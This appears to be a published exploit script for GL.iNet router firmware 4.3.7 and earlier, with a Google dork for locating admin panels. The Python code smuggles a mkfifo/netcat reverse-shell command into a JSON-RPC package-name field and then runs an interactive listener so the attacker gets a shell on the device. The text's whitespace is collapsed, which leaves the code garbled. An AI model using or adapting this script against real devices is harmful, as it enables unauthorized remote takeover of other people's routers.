# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Version: 4.3.7
# Tested on: GL.iNet AR300M
importsocket
importrequests
importreadline
fromtimeimportsleep
fromrandomimportrandint
fromsysimportstdout, argv
fromthreadingimportThread
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
deftrigger_revshell(url, auth_token, payload):
sleep(0.25)
data={
'jsonrpc':'2.0',
'id': randint(1000,9999),
'method':'call',
'params': [
auth_token,
'plugins',
'get_package_info',
{'name':'bas{}e-files'.format(payload)}
]
}
requests.post(url, json=data, verify=False)
defget_command_response(s):
res=''
whileTrue:
try:
resp=s.recv(1).decode('utf-8')
res+=resp
exceptUnicodeDecodeError:
pass
exceptsocket.timeout:
break
returnres
defrevshell_listen(revshell_ip, revshell_port):
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.bind((revshell_ip,int(revshell_port)))
s.listen(1)
exceptException as e:
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
exit(1)
try:
clsock, claddr=s.accept()
clsock.settimeout(2)
ifclsock:
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
res=''
whileTrue:
command=input('$ ')
clsock.sendall('{}\n'.format(command).encode('utf-8'))
stdout.write(get_command_response(clsock))
exceptsocket.timeout:
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
s.close()
exceptKeyboardInterrupt:
print('\n[*] Closing connection')
try:
clsock.close()
exceptsocket.error:
pass
exceptNameError:
pass
s.close()
defmain(base_url, auth_token, revshell_ip, revshell_port):
print('[+] Started GL.iNet <= 4.3.7 RCE exploit')
payload='$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
print('[+] Reverse shell payload: "{}"'.format(payload))
print('[*] Triggering reverse shell connection')
Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
revshell_listen(revshell_ip, revshell_port)
print('[+] Done')
if__name__=='__main__':
iflen(argv) <5:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
exit(1)
main(argv[1], argv[2], argv[3], argv[4])